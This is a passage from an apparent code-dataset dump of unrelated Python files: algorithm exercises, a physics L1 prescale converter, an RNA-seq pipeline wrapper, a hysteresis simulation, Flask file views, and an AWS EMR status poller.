if nums[i] < nums[i+1]:\n max_flag = False\n break\n if max_flag:\n for i in range(len(nums)//2):\n reverse_index = len(nums) - 1 - i\n nums[i], nums[reverse_index] = nums[reverse_index], nums[i]\n return\n\n # 找到一般情况下的下一个字典序\n # 1.从右至左找到第一个左邻比右邻小的数\n for i in range(len(nums)-1, 0, -1):\n if nums[i-1] < nums[i]:\n # 2.从右至左找到第一个比nums[i-1]大的数\n for j in range(len(nums)-1, i-1, -1):\n if nums[j] > nums[i-1]:\n # 3.交换nums[i-1]和nums[j]\n nums[j], nums[i-1] = nums[i-1], nums[j]\n # 4.对nums[i-1]后面的数,从小到大排序\n for k in range(i, len(nums)):\n for m in range(i, len(nums) - (k - i) -1):\n if nums[m] > nums[m+1]:\n nums[m], nums[m+1] = nums[m+1], nums[m]\n return\n\nif __name__ == '__main__':\n # nums = [4,1,5,2,3]\n nums = [1,3,2]\n Solution().nextPermutation(nums)\n print(nums)\n\n","sub_path":"leetcode/1-50/_31_next_permutation.py","file_name":"_31_next_permutation.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335692624","text":"### L1_prescale_xml2csv.py\n# Author: Thiago R. F. P. Tomei\n# Date: 2018-06-22\n# Version: v2\n\n# This script takes two XMLs as input: the RunSettings key (i.e. the L1 prescales)\n# and the L1Menu. It outputs into stdout the same information as the XML but in CSV\n# format. We pad out unused bits with empty names and columns of zeros.\n# This can then be pasted back into the GoogleDocs for book-keeping.\n# Mostly useful for when the L1 menu changes.\n# The logic is: L1 Menu maps numbersToNames, RunSettings key maps namesToColumns\n# Changed to be compatible with python3\n# Now adding warnings in stderr for L1 bits missing either in the RunSettings key\n# or in the L1Menu XML itself.\n\nfrom __future__ import print_function\nimport xml.etree.ElementTree as ET\nimport sys\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\nclass bcolors:\n HEADER = \"\\033[95m\"\n OKBLUE = \"\\033[94m\"\n OKGREEN = \"\\033[92m\"\n WARNING = \"\\033[93m\"\n FAIL = \"\\033[91m\"\n ENDC = \"\\033[0m\"\n BOLD = \"\\033[1m\"\n UNDERLINE = \"\\033[4m\"\n\n\nL1PrescalesName = \"BSRT_update.xml\"\nL1MenuName = \"L1Menu_Collisions2022_v1_3_0\"\n\nnumbersToNames = dict()\nnamesToColumns = dict()\n\n# L1 Prescales\nL1PrescalesTree = ET.parse(L1PrescalesName)\nL1Prescales = L1PrescalesTree.getroot()\ncolumnsrow = L1Prescales[0][1][0].text.split(\",\")\ncolumnNames = [x.split(\":\")[1] for x in columnsrow[1:]]\nnColumns = len(columnNames)\ndefaultColumn = int(L1Prescales[0][0].text)\n\n# Using XPath, find everything named \"row\" in the tree\nlistOfPrescales = L1Prescales.findall(\".//row\")\nfor row in listOfPrescales:\n row2 = row.text.split(\",\")\n # We strip whitespace at the beginning and end of the bitName\n bitName = row2[0].strip()\n prescaleRow = [int(ps) for ps in row2[1:]]\n namesToColumns[bitName] = prescaleRow\n\n# L1 Menu\nL1MenuTree = ET.parse(L1MenuName)\nL1Menu = L1MenuTree.getroot()\nlistOfAlgos = L1Menu.findall(\"algorithm\")\nfor algo in listOfAlgos:\n bitNumber = int(algo.find(\"index\").text)\n bitName = algo.find(\"name\").text\n numbersToNames[bitNumber] = bitName\n\n# We need to prepend the column names with a single quote to ensure that GoogleDocs\n# doesn't transform strings like \"2.0E34\" into numbers...\nmaxAlgo = max(numbersToNames.keys())\nprint(\"Default\" + \",\" + columnNames[defaultColumn])\nprint(\"Bit\" + \",\" + \"Algo name\" + \",\" + (\",\".join([\"'\" + cn for cn in columnNames])))\n\n# We print into stdout\nfor bit in range(0, maxAlgo + 1):\n if bit in numbersToNames.keys(): # This bit is defined in the L1 menu\n bitName = numbersToNames[bit]\n if bitName in namesToColumns: # We have prescales for this bit\n prescaleRow = namesToColumns[bitName]\n del namesToColumns[bitName]\n print(\n str(bit)\n + \",\"\n + bitName\n + \",\"\n + (\",\".join([str(ps) for ps in prescaleRow]))\n )\n else: # We don't have prescales for this bit. Put 0 for the time being\n eprint(\n bcolors.WARNING\n + bitName\n + bcolors.ENDC\n + \" is not defined in the original XML\"\n )\n print(str(bit) + \",\" + bitName + \",\" + (\",\".join([\"0\"] * nColumns)))\n else: # L1 doesn't define this bit. Put 0\n print(str(bit) + \",\" + \" \" + \",\" + (\",\".join([\"0\"] * nColumns)))\n\n# Let's see if there is some bit that we wanted to add, but couldn't\nif namesToColumns:\n for bitName in namesToColumns:\n eprint(\n bcolors.FAIL + bitName + bcolors.ENDC + \" was not found in the new L1 XML!\"\n )\n","sub_path":"hltpro/L1_prescale_xml2csv.py","file_name":"L1_prescale_xml2csv.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638408692","text":"class Solution(object):\n def combine(self, n, k):\n \"\"\"\n :type n: int\n :type k: int\n :rtype: List[List[int]]\n \"\"\"\n self.res = []\n out = []\n self.helper(n, k, 1, out)\n return self.res\n\n def helper(self, n, k, start, out: list):\n if len(out) == k:\n self.res.append(out[:])\n return\n for i in range(start, n + 1): # try each possibility number in current position\n out.append(i)\n self.helper(n, k, i + 1, out)\n out.pop()\n\n def combine2(self, n, k):\n if k == 0:\n return [[]]\n return [x + [tail] for tail in range(n, k - 1, -1) for x in self.combine(tail - 1, k - 1)]\n\n def combine2(self, n, k):\n res = []\n\n\n\nn = 4\nk = 2\nsolution = Solution()\nreT = solution.combine(n, k)\nprint(reT)\n","sub_path":"Medium/Combinations.py","file_name":"Combinations.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"555394636","text":"from __future__ import print_function\n\nimport argparse\nimport json\nimport logging\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport textwrap\nfrom uuid import uuid4\nfrom bd2k.util.exceptions import require\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger()\n\n\ndef call_pipeline(mount, args):\n work_dir = os.path.join(mount, 'Toil-RNAseq-' + str(uuid4()))\n os.makedirs(work_dir)\n log.info('Temporary directory created: {}'.format(work_dir))\n config_path = os.path.join(work_dir, 'toil-rnaseq.config')\n job_store = os.path.join(args.resume, 'jobStore') if args.resume else os.path.join(work_dir, 'jobStore')\n with open(config_path, 'w') as f:\n f.write(generate_config(args.star, args.rsem, args.kallisto, mount,\n args.disable_cutadapt, args.save_bam, args.save_wiggle))\n command = ['toil-rnaseq', 'run',\n job_store,\n '--config', config_path,\n '--workDir', work_dir,\n '--retryCount', '1']\n if args.resume:\n command.append('--restart')\n if args.cores:\n command.append('--maxCores={}'.format(args.cores))\n command.append('--samples')\n command.extend('file://' + x for x in args.samples)\n try:\n subprocess.check_call(command)\n except subprocess.CalledProcessError as e:\n print(e.message, file=sys.stderr)\n finally:\n log.info('Pipeline terminated, changing ownership of output files from root to user.')\n stat = os.stat(mount)\n subprocess.check_call(['chown', '-R', '{}:{}'.format(stat.st_uid, stat.st_gid), mount])\n if not args.no_clean:\n log.info('Cleaning up temporary directory: {}'.format(work_dir))\n shutil.rmtree(work_dir)\n else:\n log.info('Flag \"--no-clean\" was used, therefore {} was not deleted.'.format(work_dir))\n\n\ndef generate_config(star_path, rsem_path, kallisto_path, output_dir, disable_cutadapt, save_bam, save_wiggle):\n cutadapt = True if not disable_cutadapt else False\n return textwrap.dedent(\"\"\"\n star-index: file://{star_path}\n kallisto-index: file://{kallisto_path}\n rsem-ref: file://{rsem_path}\n output-dir: {output_dir}\n cutadapt: {cutadapt}\n fastqc: true\n fwd-3pr-adapter: AGATCGGAAGAG\n rev-3pr-adapter: AGATCGGAAGAG\n ssec:\n gtkey:\n wiggle: {save_wiggle}\n save-bam: {save_bam}\n ci-test:\n \"\"\"[1:].format(**locals()))\n\n\ndef main():\n \"\"\"\n Computational Genomics Lab, Genomics Institute, UC Santa Cruz\n Dockerized Toil RNA-seq pipeline\n\n RNA-seq fastqs are combined, aligned, and quantified with 2 different methods (RSEM and Kallisto)\n\n General Usage:\n docker run -v $(pwd):$(pwd) -v /var/run/docker.sock:/var/run/docker.sock \\\n quay.io/ucsc_cgl/rnaseq-cgl-pipeline --samples sample1.tar\n\n Please see the complete documentation located at:\n https://github.com/BD2KGenomics/cgl-docker-lib/tree/master/rnaseq-cgl-pipeline\n or inside the container at: /opt/rnaseq-pipeline/README.md\n\n\n Structure of RNA-Seq Pipeline (per sample)\n\n 3 -- 4 -- 5\n / |\n 0 -- 1 -- 2 ---- 6 -- 8\n \\ |\n 7 ---------\n\n 0 = Download sample\n 1 = Unpack/Merge fastqs\n 2 = CutAdapt (adapter trimming)\n 3 = STAR Alignment\n 4 = RSEM Quantification\n 5 = RSEM Post-processing\n 6 = Kallisto\n 7 = FastQC\n 8 = Consoliate output and upload to S3\n =======================================\n Dependencies\n Docker\n \"\"\"\n # Define argument parser for\n parser = argparse.ArgumentParser(description=main.__doc__, formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('--samples', nargs='+', required=True,\n help='Absolute path(s) to sample tarballs.')\n parser.add_argument('--star', type=str, required=True,\n help='Absolute path to STAR index tarball.')\n parser.add_argument('--rsem', type=str, required=True,\n help='Absolute path to rsem reference tarball.')\n parser.add_argument('--kallisto', type=str, required=True,\n help='Absolute path to kallisto index (.idx) file.')\n parser.add_argument('--disable-cutadapt', action='store_true', default=False,\n help='Cutadapt fails if samples are improperly paired. Use this flag to disable cutadapt.')\n parser.add_argument('--save-bam', action='store_true', default='false',\n help='If this flag is used, genome-aligned bam is written to output.')\n parser.add_argument('--save-wiggle', action='store_true', default='false',\n help='If this flag is used, wiggle files (.bg) are written to output.')\n parser.add_argument('--no-clean', action='store_true',\n help='If this flag is used, temporary work directory is not cleaned.')\n parser.add_argument('--resume', type=str, default=None,\n help='Pass the working directory that contains a job store to be resumed.')\n parser.add_argument('--cores', type=int, default=None,\n help='Will set a cap on number of cores to use, default is all available cores.')\n args = parser.parse_args()\n # If no arguments provided, print full help menu\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n # Get name of most recent running container. If socket is mounted, should be this one.\n try:\n name = subprocess.check_output(['docker', 'ps', '--format', '{{.Names}}']).split('\\n')[0]\n except subprocess.CalledProcessError as e:\n raise RuntimeError('No container detected, ensure Docker is being run with: '\n '\"-v /var/run/docker.sock:/var/run/docker.sock\" as an argument. \\n\\n{}'.format(e.message))\n # Get name of mounted volume\n blob = json.loads(subprocess.check_output(['docker', 'inspect', name]))\n mounts = blob[0]['Mounts']\n # Ensure docker.sock is mounted correctly\n sock_mount = [x['Source'] == x['Destination'] for x in mounts if 'docker.sock' in x['Source']]\n require(len(sock_mount) == 1, 'Missing socket mount. Requires the following: '\n 'docker run -v /var/run/docker.sock:/var/run/docker.sock')\n '''\n # Ensure formatting of command for 2 mount points\n if len(mounts) == 2:\n require(all(x['Source'] == x['Destination'] for x in mounts),\n 'Docker Src/Dst mount points, invoked with the -v argument, '\n 'must be the same if only using one mount point aside from the docker socket.')\n work_mount = [x['Source'] for x in mounts if 'docker.sock' not in x['Source']]\n else:\n # Ensure only one mirror mount exists aside from docker.sock\n mirror_mounts = [x['Source'] for x in mounts if x['Source'] == x['Destination']]\n work_mount = [x for x in mirror_mounts if 'docker.sock' not in x]\n require(len(work_mount) == 1, 'Wrong number of mirror mounts provided, see documentation.')\n '''\n\n# if \"TMPDIR\" in os.environ:\n# log.info('Setting work mount to TMPDIR which is: {}'.format(os.environ['TMPDIR']))\n# work_dir = os.environ['TMPDIR']\n# else:\n# log.info('TMPDIR not set; setting work mount to cwd which is: {}'.format(os.getcwd()))\n# work_dir = os.getcwd()\n \n\n# work_mount = list(os.getenv('TMPDIR', os.getcwd()))\n\n # workdir is the cwd so CWL can collect the output\n work_dir = os.getcwd()\n \n # If sample is given as relative path, assume it's in the work directory\n if not all(x.startswith('/') for x in args.samples):\n args.samples = [os.path.join(work_mount[0], x) for x in args.samples if not x.startswith('/')]\n log.info('\\nSample given as relative path, assuming sample is in work directory: {}'.format(work_mount[0]))\n # Enforce file input standards\n require(all(x.startswith('/') for x in args.samples),\n \"Sample inputs must point to a file's full path, \"\n \"e.g. '/full/path/to/sample1.tar'. You provided %s\", str(args.samples))\n require(all(x.startswith('/') for x in [args.star, args.kallisto, args.rsem]),\n \"Sample inputs must point to a file's full path, \"\n \"e.g. '/full/path/to/kallisto_hg38.idx'.\")\n # Output log information\n log.info('The work mount is: {}'.format(work_dir))\n# log.info('The work mount is: {}'.format(work_mount[0]))\n log.info('Samples to run: {}'.format('\\t'.join(args.samples)))\n log.info('Pipeline input locations: \\n{}\\n{}\\n{}'.format(args.star, args.rsem, args.kallisto))\n call_pipeline(work_dir, args)\n# call_pipeline(work_mount[0], args)\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"rnaseq-cgl-pipeline/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":8818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264699576","text":"import numpy as np\nfrom scipy.misc import imresize\nfrom os import path\nimport sys\n\n#define desired resolutions of input and target data\nheight = 480\nwidth = 640\n\n#check that an argument has been provided\nif len(sys.argv) == 1:\n print(\"\\n ** No data selected, please run:\\n\\tpython upsample_predict.py ** \\n\")\n exit()\n\n#manipulate argument for file naming\ndata_path = sys.argv[1]\nfile_name, ext = path.splitext(data_path)\nfile_name = '%s_resized2' % file_name\n\n# load data\ndata = np.load(data_path)\ndepths = data['depths']\ndepths = np.squeeze(depths, axis=3)\n\n#initialise resized arrays\ndepths_resized = np.zeros([0, height, width], dtype=np.float32)\nfor i in range(depths.shape[0]):\n #resize depth image to the desired resolution\n de_temp = imresize(depths[i], [height, width], 'bicubic')\n #convert to float32\n de_temp = np.float32(de_temp)\n #set minimum value to zero\n #de_temp = de_temp + abs(np.amin(de_temp))\n #normalise so that all images have the same maximum brightness\n #de_temp = (de_temp/np.max(de_temp))*255.0\n #append the processed image to the output array\n depths_resized = np.append(depths_resized, np.expand_dims(de_temp, axis=0), axis=0)\n #print every 25 sets of images so you can see it's working\n if (i+1) % 25 == 0:\n print('%d depth images resized' % (i+1))\n\n#rearrange into proper columns\ndepths_resized = np.transpose(depths_resized, [1, 2, 0])\n\n#check data shapes\nprint(depths_resized.shape)\n\n#save to .npz\nnp.savez(file_name, depths=depths_resized)\n","sub_path":"KuzNet/upsample2.py","file_name":"upsample2.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"485358148","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nu_S_i = np.array([0.0368, 0.0364, 0.0370, 0.0168, 0.0432, 0.0320, 0.0525, 0.0262, 0.0167, 0.1036, 100000.0]) # Paper\n\nk_i = np.array(\n [10.4571, 23.6702, 19.4110, 7.6675, 37.6126, 41.2519, 36.6254, 49.9662, 64.0682, 24.7827, -1.2808]) # Paper\n\n\n#k_i = np.array(\n# [2.29716861e+01, -4.36550347e+00, -1.99334559e+00, -1.29153970e+00, -9.55228295e-01, -7.57879676e-01, -6.28112624e-01, -5.36287441e-01, -4.67886127e-01, -8.54072144e-01, 1.88134943e-02])\n#u_S_i = np.abs(np.array([1.49751455e-01, -1.58986949e+00, -5.24724374e+00, -1.08548350e+01, -1.84695742e+01, -2.81728596e+01, -4.00705566e+01, -5.42929977e+01, -7.09949830e+01, -4.39002791e+01, 1.00000000e+04]))\n\n#k_i = np.array([1, 1])\n\n#u_S_i = np.array([15, 1.00000000e+04])\n\nn = 10\nmax_voltage = 2.5\n\nsimtime = 20.0 # second\nsimstep = 0.1 # seconds\n\ntimes = np.arange(0, simtime, simstep)\n\nx_0 = 0\nx_end = 1\nx = np.zeros(len(times))\nx[0] = x_0\nq_i = np.zeros((n + 1, len(times)))\nq_dot_i = np.zeros((n + 1, len(times)))\nu_i = np.zeros((n + 1, len(times)))\n\nx_step = (x_end - x_0) / len(times)\n\nu = np.zeros(len(times))\nu[0] = 0.0 # V\ndv_dt_0 = 2*max_voltage/ simtime # 1V / s\nu_max = u[0] + dv_dt_0 * simtime\n\ndv_dt = np.ones(len(times)) * dv_dt_0\ndv_dt[len(dv_dt)/2:] *= -1.0\n\n#u_i[:, 0] = u[0] / (k_i * np.sum(1.0 / k_i))\nq_dot_i[:, 0] = 0.0\nprint(q_dot_i[:, 0])\nprint(u_i[:, 0])\n\nfor index, time in enumerate(times[1:], start=1):\n delta_v = dv_dt[index] * simstep\n u[index] = u[index - 1] + delta_v\n print(\"U is: {}\".format(u[index]))\n #determine, if the current element is (and will stay) unsaturated in this step\n\n k_unsat = np.abs(u_i[:, index - 1]) < u_S_i\n k_unsat_new = np.sign(delta_v)*np.sign(k_i) != np.sign(u_i[:, index - 1]+1e-6) # Adding 1e-6 here, just so sign always returns -1 or 1\n k_unsat = k_unsat | k_unsat_new\n print(\"k_unsat_new: {}\".format(k_unsat_new))\n print(\"k_unsat: {}\".format(k_unsat))\n print(\"Time {}\".format(index))\n #for all k do\n for i in range(len(k_i)):\n print(\"Element {}:\".format(i))\n #print(\"Will stay: {}\".format(np.sign(delta_v)*np.sign(k_i[i]) == np.sign(u_i[i, index - 1])))\n if not k_unsat[i]:\n u_i[i, index] = u_i[i, index - 1]\n print(\"k stays saturated\".format(i))\n else:\n delta_u_i = delta_v * ((1.0 / k_i[i]) / np.sum(np.abs(1.0 / k_i[k_unsat])))\n u_new = u_i[i, index - 1] + delta_u_i\n print(\"Delta u: {}\".format(delta_u_i))\n # = np.delete(k_i, i)\n #u_new = u_i[i, index - 1] + delta_v * (1.0 - np.sum(1.0 / np.abs(k_without_current))/np.sum(1.0 / np.abs(k_i[k_unsat])))\n #print(\"U_new_{} is {} - U_new_old_{} is {} - U_sat_{} is {}\".format(i, u_new, i, u_new_old, i, u_S_i[i]))\n if np.abs(u_new) > u_S_i[i]:\n print(\"ureached sat\".format(i))\n u_i[i, index] = np.sign(u_new)*u_S_i[i]\n else:\n u_i[i, index] = u_new\n q_dot_i[i, index] = k_i[i] * (u_i[i, index] - u_i[i, index - 1]) / simstep\n #print(\"Q_dot_{}: {}\".format(i, q_dot_i[i, index]))\n #x[index] = x[index - 1] + q_dot_i[len(k_i) - 1, index] * simstep\n\n #print(np.sum(k_i * np.sum(1.0/np.abs(k_i[k_unsat]))))\n #d_u_dx = delta_v / q_dot_i[len(k_i)-1, index]\n #print(\"d_u_dx: {}\".format(d_u_dx))\n x[index] = k_i[-1]*u_i[-1, index]\n #print(\"X: {} X_simple: {}\".format(x[index], x_simple))\n\n print(\"U sum is: {} V\".format(np.sum(u_i[:, index])))\n\nfig, ax = plt.subplots(2, 2, constrained_layout=True)\nfig.suptitle(\"Maxwell Slip Simulation\")\nfig.set_size_inches(13, 9)\n\nax[0][0].plot(times, u, label=\"U\")\nax[0][1].plot(times, x, label=\"qdot\")\n\nfor i in range(len(k_i)):\n ax[0][0].plot(times, u_i[i], label=\"u_{}\".format(i))\n ax[1][0].plot(times, q_dot_i[i], label=\"qdot_{}\".format(i))\n\nax[0][0].grid(True)\nax[0][0].legend(loc='right')\nax[0][0].set_title('Voltages')\nax[0][0].set_xlabel('Time [s]')\nax[0][0].set_ylabel('Voltage')\n\nax[1][0].grid(True)\nax[1][0].legend(loc='right')\nax[1][0].set_title('Delta Q')\nax[1][0].set_xlabel('Time [s]')\nax[1][0].set_ylabel('dq/dt*Te')\n\nax[0][1].grid(True)\nax[0][1].legend(loc='right')\nax[0][1].set_title('Travel x')\nax[0][1].set_xlabel('Time [s]')\nax[0][1].set_ylabel('Travel x')\n\n# Voltage vs x\nax[1][1].plot(u, x, label=\"u_ext\")\nax[1][1].grid(True)\nax[1][1].legend(loc='right')\nax[1][1].set_title('Voltage vs Travel')\nax[1][1].set_xlabel('Voltage [V]')\nax[1][1].set_ylabel(\"Travel x\")\n\nplt.show()\n","sub_path":"Digitale_Abgabe/2-Quellcode/Sim_Scripts/Hysteresis_and_Creep_Modeling.py","file_name":"Hysteresis_and_Creep_Modeling.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"108750574","text":"from typing import List\n\n\nclass Solution:\n def findAnagrams(self, s: str, p: str) -> List[int]:\n def compare(a, b):\n for i in range(26):\n if a[i] != b[i]:\n return False\n return True\n \n if len(s) < len(p):\n return []\n \n n1, n2 = len(s), len(p)\n f1, f2 = [0] * 26, [0] * 26\n \n for c in p:\n f2[ord(c) - ord('a')] += 1\n \n for i in range(n2 - 1):\n f1[ord(s[i]) - ord('a')] += 1\n \n ans = []\n for i in range(n2 - 1, n1):\n f1[ord(s[i]) - ord('a')] += 1\n if i - n2 >= 0:\n f1[ord(s[i - n2]) - ord('a')] -= 1\n \n if compare(f1, f2):\n ans.append(i - n2 + 1)\n \n return ans\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.findAnagrams(\"cbaebabacd\", \"abc\"))\n","sub_path":"leetcode/medium/find-all-anagrams-in-a-string.py","file_name":"find-all-anagrams-in-a-string.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"534737654","text":"import subprocess\n\n\nclass OpenProgram(object):\n def __init__(self):\n pass\n\n def run(self, program, parameters):\n output_file = open('./temp/outputs', mode='w+')\n command_line = ''\n if not parameters:\n command_line = f'{program} &'\n else:\n command_line = f'{program} {parameters} &'\n subprocess.run(\n command_line,\n shell=True,\n stdout=output_file,\n stderr=output_file,\n universal_newlines=True\n )\n\n def find_program(self, user_input, programs_bd):\n possible_program = ''\n for program in programs_bd:\n nickname = program['nickname']\n if nickname in user_input and nickname > possible_program:\n possible_program = program['value']\n\n return possible_program\n\n def find_params(self, user_input, parameters_bd):\n parameters = []\n for parameter in parameters_bd:\n if parameter['nickname'] in user_input:\n parameters.append(parameter['value'])\n\n return ' '.join(parameters)\n","sub_path":"app/modules/open_program.py","file_name":"open_program.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"228518951","text":"# -*- coding: utf-8 -*-\nimport os\nimport flask.views\nimport application\nimport magic\nfrom handlers import FileManagerHandler\n\n\nclass IndexView(flask.views.View):\n methods = ['GET', 'POST']\n\n def dispatch_request(self, file_name=None):\n handler = FileManagerHandler()\n if flask.request.method == 'GET':\n return handler.get(flask.request, file_name)\n elif flask.request.method == 'POST':\n return handler.post(flask.request)\n else:\n # This code is never reached: The @app.route decorator\n # handles this automatically.\n return flask.jsonify(\n error=405,\n text='Not Allowed'\n )\n\n\nclass PreviewAPI(flask.views.MethodView):\n methods = ['GET']\n\n def get(self, file_name):\n path = application.app.config['PREVIEW_DIR'] + file_name\n if os.path.exists(path):\n with open(path, 'r') as file:\n try:\n content = file.read()\n except os.error:\n flask.abort(500)\n finally:\n file.close()\n response = flask.make_response(content)\n response.headers['Content-Type'] = \\\n FileManagerHandler.MIME_PDF\n return response\n else:\n flask.abort(404)\n\nclass DownloadAPI(flask.views.MethodView):\n \"\"\"\n For now we have one method for downloading from the working directory and another for the DIP directory\n at least until I can figure out how to multiplex the switching parameter in the url\n (The url is in the form protocol://hostname:port/{dd,wd}/relative_path. The switching parameters, {dd,wd} are\n abbreviations for the respective directories, {DIP and working} directory\n \"\"\"\n methods = ['GET']\n\n def get(self, file_name):\n d_path = application.app.config['WORKING_DIR'] + file_name\n w_path = application.app.config['DATA_DIR'] + file_name\n #tenary test for the file paths\n path = d_path if os.path.exists(d_path) else w_path\n print('\\n\\n(4)-> the path to download from is: ', path, '\\n\\n')\n if os.path.exists(path):\n try:\n with open(path, 'r') as file:\n content = file.read()\n except os.error:\n flask.abort(500)\n finally:\n #Get file mimetype\n mime = magic.from_file(path, mime=True)\n file.close()\n response = flask.make_response(content)\n response.headers['Content-Type'] = mime\n return response\n else:\n flask.abort(404)\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58905182","text":"from concurrent.futures import ThreadPoolExecutor\nimport logging\nimport threading\n\nfrom slamon.agent.handlers import TaskHandler\n\n\nclass Executor(object):\n \"\"\"\n Task executor pool to run task handlers asynchronously.\n To provide clean shutdown, Executor is a python context manager and\n performs shutdown routines on context exit.\n\n Example:\n Executing tasks in existing list ``task_list`` with two concurrent executors:\n\n from slamon.agent.executor import Executor\n\n def result_callback(task_id, task_data=None, task_error=none):\n if task_data:\n print('Task {0} finished with data: {1}'.format(task_id, task_data))\n else:\n print('Task {0} finished with error: {1}'.format(task_id, task_error))\n\n with Executor(max_executors=2) as executor:\n for task in task_list:\n executor.submit_task(task, result_callback)\n\n \"\"\"\n\n def __init__(self, max_executors=2):\n self._max_executors = max_executors\n self._active_executors = 0\n self._lock = threading.Lock()\n self._logger = logging.getLogger('Executor')\n\n def __enter__(self):\n \"\"\"\n Context manager entry function to start thread pool.\n \"\"\"\n self._logger.debug('Starting executor with %d threads', self._max_executors)\n self._thread_pool = ThreadPoolExecutor(self._max_executors)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"\n Context manager exit function to shutdown thread pool.\n \"\"\"\n self._logger.debug('Stopping executor')\n self._thread_pool.shutdown()\n self._thread_pool = None\n\n def _run_task(self, task, callback):\n try:\n self._logger.debug('Creating task handler for task %s', task['task_id'])\n handler = TaskHandler.create(task['task_type'], task['task_version'])\n\n self._logger.debug('Executing task handler for task %s', task['task_id'])\n result = handler(task['task_data'])\n\n self._logger.debug('Task executed successfully: %s', task['task_id'])\n callback(task['task_id'], task_data=result)\n\n except Exception as e:\n self._logger.warning('Execution of task %s raised an exception: %s', task['task_id'], str(e))\n callback(task['task_id'], task_error=str(e))\n\n finally:\n with self._lock:\n self._active_executors -= 1\n\n def submit_task(self, task, callback):\n \"\"\"\n Queue task for asynchronous execution. The callback will receive\n task id as first positional parameter and either task_data or task_error\n named parameter describing the output.\n\n :param task: dictionary describing the task\n :param callback: callable that will receive results\n \"\"\"\n with self._lock:\n self._thread_pool.submit(lambda: self._run_task(task, callback))\n self._active_executors += 1\n\n def available_executors(self):\n \"\"\"\n Get number of available executors. (max executors - active executors)\n\n :return: number of available executors\n \"\"\"\n with self._lock:\n return max(self._max_executors - self._active_executors, 0)\n","sub_path":"slamon/agent/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313114544","text":"import matplotlib.cm\nfrom h5py import Group\nfrom matplotlib.figure import Figure\n\n\ndef show_cmatrix(fig: Figure, grp: Group):\n fig.clear()\n try:\n cmat = grp['correlmatrix']\n curvesgrp = grp['curves']\n except KeyError:\n return\n ax = fig.add_subplot(1, 1, 1)\n img = ax.imshow(cmat, cmap=matplotlib.cm.coolwarm, interpolation='nearest')\n fig.colorbar(img, ax=ax)\n fsns = sorted([curvesgrp[ds].attrs['fsn'] for ds in curvesgrp.keys()])\n ax.set_xticks(list(range(len(fsns))))\n ax.set_xticklabels([str(f) for f in fsns], rotation='vertical')\n ax.set_yticks(list(range(len(fsns))))\n ax.set_yticklabels([str(f) for f in fsns])\n","sub_path":"cct/processing/display/correlmatrix.py","file_name":"correlmatrix.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467992990","text":"import logging\nimport time\n\nimport boto3\nimport dns.resolver\nfrom retrying import retry\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_cluster_id():\n \"\"\"Determine EMR cluster ID via DNS\"\"\"\n resolver = dns.resolver.Resolver()\n cluster_id = resolver.query('dataproc.rasterfoundry.com', 'TXT')[0]\n return cluster_id.to_text().strip('\"')\n\n\n@retry(wait_exponential_multiplier=2000, wait_exponential_max=30000, stop_max_attempt_number=5)\ndef wait_for_emr_success(step_id, cluster_id):\n \"\"\"Wait for batch success/failure given an initial EMR response\n\n Args:\n step_id (str): EMR step ID\n cluster_id (str): EMR cluster ID to check status of step in\n\n Returns:\n boolean\n \"\"\"\n emr = boto3.client('emr')\n get_description = lambda: emr.describe_step(ClusterId=cluster_id, StepId=step_id)\n logger.info('Starting to check for status updates for step %s', step_id)\n step_description = get_description()\n current_status = step_description['Step']['Status']['State']\n logger.info('Initial status: %s', current_status)\n while current_status not in ['COMPLETED', 'FAILED']:\n description = get_description()\n status = description['Step']['Status']['State']\n if status != current_status:\n logger.info('Updating status of %s. Old Status: %s New Status: %s',\n step_id, current_status, status)\n current_status = status\n time.sleep(30)\n is_success = (current_status == 'COMPLETED')\n if is_success:\n logger.info('Successfully completed step id: %s', step_id)\n return True\n else:\n logger.error('Something went wrong with %s. Current Status: %s', step_id, current_status)\n raise Exception('Step {} failed'.format(step_id))","sub_path":"app-tasks/rf/src/rf/utils/emr.py","file_name":"emr.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437988590","text":"def numb_to_dig(n):\r\n\tc = []\r\n\twhile n:\r\n\t\tc.append(n%10)\r\n\t\tn /= 10\r\n\treturn c\r\n\r\ndigits = set([1,2,3,4,5,6,7,8,9,0])\r\nfout = open('o_large.txt', 'w')\r\nwith open('A-large.in') as f:\r\n\tt = int(f.readline())\r\n\tfor i in 